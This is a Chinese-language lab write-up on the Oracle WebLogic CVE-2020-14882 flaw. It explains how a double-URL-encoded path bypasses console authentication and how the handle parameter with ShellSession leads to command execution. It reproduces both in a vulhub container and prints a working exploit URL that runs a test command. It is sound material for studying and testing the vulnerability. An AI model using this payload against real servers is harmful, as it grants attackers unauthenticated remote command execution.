影响范围

  • Oracle WebLogic Server: 10.3.6.0.0
  • Oracle WebLogic Server: 12.1.3.0.0
  • Oracle WebLogic Server: 12.2.1.3.0
  • Oracle WebLogic Server: 12.2.1.4.0
  • Oracle WebLogic Server: 14.1.1.0.0

漏洞类型

未授权访问、Java 反序列化

操作系统限制

配置要求

  • 7001 端口对外开放

漏洞利用

命令执行,信息泄露,反弹 shell

利用原理

WebLogic 控制台的权限检验逻辑是,如果访问静态资源则直接放行,如果是敏感的管理页面,则检查 Cookie 确认登录状态,攻击者通过构造含静态路径字段的 payload 来绕过 WebLogic 前端拦截器,访问路径为 /console/css/../console.portal,WebLogic 内部引擎会对 url 编码部分进行解码,所以攻击者通过二次 url 编码构造成/console/css/%252e%252e%252fconsole.portal,来绕过 WebLogic 的拦截器,经过一次解码后为/console/css/%2e%2e%2fconsole.portal,WebLogic 前端拦截器识别为静态资源成功绕过登录认证进入到管理后台。WebLogic 控制台允许通过 handle 参数来指定一个 Java 类来处理请求,通过利用 WebLogic 自带的 FileSystemXmlApplicationContext 类来根据路径加载解析一个 XML 配置文件,攻击者可以在攻击机临时服务器放置恶意 XML 文件,利用解析 XML 的性质,动态通过反射机制创建对象设置属性,通过构建的恶意链实现命令执行

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/weblogic/CVE-2020-14882
#拉取镜像
docker-compose up -d

1773402312615

直接 http://靶机 ip:7001/console,重定向到登录界面 http://靶机 ip:7001/console/login/LoginForm.jsp

1773402337853

访问 http://靶机 ip:7001/console/css/%252e%252e%252fconsole.portal,绕过登录直接进入管理控制台主页面,实现未授权访问

1773402366508

进行命令执行,touch /tmp/success,返回 404

1
http://靶机IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/success');")

1773402393905

进入容器查看 tmp 目录,出现 success,说明成功执行敏感命令

1773402420840